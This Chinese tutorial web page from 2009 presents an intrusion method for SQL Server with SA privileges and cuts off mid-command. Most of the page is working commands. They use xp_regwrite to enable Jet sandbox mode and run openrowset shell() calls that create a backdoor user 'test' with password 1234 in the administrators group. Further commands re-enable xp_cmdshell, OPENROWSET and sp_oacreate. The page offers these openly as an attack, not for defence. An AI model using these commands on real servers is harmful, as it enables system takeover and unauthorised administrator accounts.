解读SQL Server SA权限最新入侵方法_Mssql数据库教程

编辑Tag赚U币
教程Tag:暂无Tag,欢迎添加,赚取U币!

推荐:通过事务日志解决SQL Server常见四大故障(一)
当系统出现故障时,只要存在数据日志那么就可以利用它来恢复数据解决数据库故障。作为SQL Server数据库管理员,了解数据日志文件的作用,以及如何利用它来解决一些数据库的常见故障,这非常重要。既然事务日志这么重要,那么他到底可以用来做什么事情呢?口说

使用jet沙盘模式,可以解决XP_cmdshell等存储过程和相关动态链接库带来的烦恼。出于安全原因,系统默认情况下沙盘模式未开启,这就需要xp_regwrite开启沙盘模式:

Exec master.dbo.xp_regwrite ''HKEY_LOCAL_MACHINE'',''SOFTWARE\Microsoft\Jet\4.0

 

  \Engines'',''SandBoxMode'',''REG_DWORD'',1

  然后执行沙盘命令,在系统添加一个用户名为test,密码为1234的用户:

select * from openrowset(''microsoft.jet.oledb.4.0'','';database=c:\windows

 

  \system32\ias\ias.mdb'',''select shell("cmd.exe /c net user test 1234 /add")'')

  select * from openrowset(''microsoft.jet.oledb.4.0'','';database=c:\windows

  \system32\ias\ias.mdb'',''select shell("cmd.exe /c net localgroup

  administrators test /add")'')

  不同的,路径也不一样,需要根据情况做修改:操作系统

  NT/2K: c:\winnt\system32\

  XP/2003: c:\windows\system32\

  另外Microsoft SQL Server2005在默认情况下,一些存储过程是关闭着的,需要命令打开:

  开启XP_cmdshell:

EXEC sp_configure ''show advanced options'', 1;RECONFIGURE;EXEC sp_configure

 

  ''xp_cmdshell'', 1;RECONFIGURE;

  开启''OPENROWSET'': 

exec sp_configure ''show advanced options'', 1;RECONFIGURE;exec sp_configure

 

  ''Ad Hoc Distributed Queries'',1;RECONFIGURE;

  开启''sp_oacreate'':  

exec sp_configure ''show advanced options'', 1;RECONFIGURE;exec sp

分享:通过事务日志解决SQL Server常见四大故障(二)
数据库镜像方案有两种镜像运行模式。一种是

来源:模板无忧//所属分类:Mssql数据库教程/更新时间:2009-08-25
相关Mssql数据库教程